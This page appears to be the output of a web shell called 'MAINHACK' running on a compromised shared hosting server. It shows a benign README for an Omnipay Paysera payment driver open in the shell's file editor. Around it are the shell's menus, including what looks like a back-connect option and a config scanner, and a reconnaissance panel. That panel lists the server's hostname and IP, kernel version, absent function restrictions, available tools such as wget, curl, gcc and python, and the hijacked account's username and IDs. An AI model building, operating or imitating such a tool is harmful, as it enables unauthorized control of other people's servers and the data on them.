[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# Omnipay: Paysera **Paysera gateway driver for the Omnipay PHP payment processing library** [](https://packagist.org/packages/semyonchetvertnyh/omnipay-paysera) [](LICENSE.md) [](https://travis-ci.org/semyonchetvertnyh/omnipay-paysera) [](https://styleci.io/repos/175416737) [](https://scrutinizer-ci.com/g/semyonchetvertnyh/omnipay-paysera) [](https://scrutinizer-ci.com/g/semyonchetvertnyh/omnipay-paysera/?branch=master) [](https://packagist.org/packages/semyonchetvertnyh/omnipay-paysera) [Omnipay](https://github.com/thephpleague/omnipay) is a framework agnostic, multi-gateway payment processing library for PHP 5.3+. This package implements [Paysera](https://www.paysera.com/) support for Omnipay. ## Installation Omnipay is installed via [Composer](http://getcomposer.org/). To install, require `league/omnipay` and `semyonchetvertnyh/omnipay-paysera` with Composer: ```bash composer require league/omnipay semyonchetvertnyh/omnipay-paysera ``` For general usage instructions, please see the main [Omnipay](https://github.com/thephpleague/omnipay) repository. ## Requirements * PHP 7.0+ * Omnipay v3+ * ext-openssl ## Basic Usage The following gateways are provided by this package: * Paysera For general usage instructions, please see the main [Omnipay](https://github.com/thephpleague/omnipay) repository. ## Code Example ```php use Omnipay\Omnipay; // Setup payment gateway $gateway = Omnipay::create('Paysersa'); $gateway->setProjectId('123456'); $gateway->setPassword('abcde12345'); // Optionally to determine which order has been paid $orderId = 1; // Example card (actually customer) data $card = [ 'email' => 'john.doe@example.com', 'billingFirstName' => 'John', 'billingLastName' => 'Doe', 'billingPhone' => '+372 12345678', 'billingCompany' => 'Good Workers Ltd.', 'billingAddress1' => 'Viru valjak 24', 'billingCity' => 'Tallinn', 'billingPostcode' => '123456', 'billingCountry' => 'EE', ]; // Send purchase request $response = $gateway->purchase( [ 'language' => 'ENG', 'transactionId' => $orderId, // 'paymentMethod' => 10, 'amount' => '10.00', 'currency' => 'EUR', 'returnUrl' => "https://example.com/paysera/return/{$orderId}", 'cancelUrl' => "https://example.com/paysera/cancel/{$orderId}", 'notifyUrl' => "https://example.com/paysera/notify/{$orderId}", 'card' => $card, ] )->send(); if ($response->isRedirect()) { return $response->redirect(); } ``` You should also implement method for `notifyUrl`. After successful charging, Paysera sends a request to this URL. ```php use Omnipay\Omnipay; // Setup payment gateway $gateway = Omnipay::create('Paysersa'); $gateway->setProjectId('123456'); $gateway->setPassword('abcde12345'); // Accept the notification $response = $gateway->acceptNotification() ->send(); if ($response->isSuccessful()) { // Mark the order as paid return true; } ``` ## Changelog Please see [CHANGELOG](CHANGELOG.md) for more information what has changed recently. ## Contributing Please see [CONTRIBUTING](CONTRIBUTING.md) for details. ## Credits - [Povilas Susinskas](https://github.com/povilas) - [Semyon Chetvertnyh](https://github.com/semyonchetvertnyh) - [All Contributors](../../contributors) ## License The MIT License (MIT). Please see [License File](LICENSE.md) for more information.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285